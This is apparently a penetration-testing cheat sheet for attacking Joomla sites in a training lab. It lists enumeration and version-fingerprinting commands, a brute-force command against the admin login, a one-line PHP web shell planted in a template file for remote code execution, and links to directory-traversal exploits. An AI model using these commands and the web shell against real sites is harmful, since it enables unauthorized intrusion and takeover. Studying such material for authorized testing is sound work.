Joomla

Introduction

• CMS used for discussion forums, photo galleries, e-Commerce, user-based communities, and more.

• Written in PHP and uses MySQL in the backend.

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Joomla Discovery/Footprinting

Command	Description
droopescan scan joomla --url http://dev.inlanefreight.local	Enumeration via droopescan
python2.7 joomlascan.py -u http://dev.inlanefreight.local	Enumeration via joomlascan.py
curl -s http://dev.inlanefreight.local/ | grep Joomla	Check Webpage Source
curl -s http://dev.inlanefreight.local/administrator/manifests/files/joomla.xml | xmllint --format -	Some Joomla versions may be fingerprinted from this file
Browse to http://dev.inlanefreight.local/plugins/system/cache/cache.xml	The cache.xml file can give out an approximate version of Joomla
Browse to http://dev.inlanefreight.local/media/system/js/	Some versions of Joomla can be fingerprinted by analyzing the javascript files in this folder
Browse to http://blog.inlanefreight.local/robots.txt	Check for references to Joomla
Browse to http://dev.inlanefreight.local/README.txt	Check the README file to look for references to Joomla

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Joomla Users and Login Bruteforcing

• Administrator account: The default administrator account is admin, but the password is set at install time

• You can perform login broteforce by using the following: https://github.com/ajnik/joomla-bruteforce

• PoC: sudo python3 joomla-brute.py -u http://dev.inlanefreight.local -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin

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Joomla Known Vulnerabilities

1. PHP TEMPLATE CODE INJECTION TO RCE [Requires Admin Account]

   • The basic idea is to add PHP code inside a template

   • Login as Admin → Navigate to Configuration → Select a Template → Select an existing PHP file → add the following payload:

   • system($_GET['cmd']);

   • curl -s http://dev.inlanefreight.local/templates/protostar/error.php?cmd=id

2. Joomla 3.9.4 directory traversal CVE-2019-10945

   • Exploit 1: https://www.exploit-db.com/exploits/46710

   • Exploit 2: https://github.com/dpgg101/CVE-2019-10945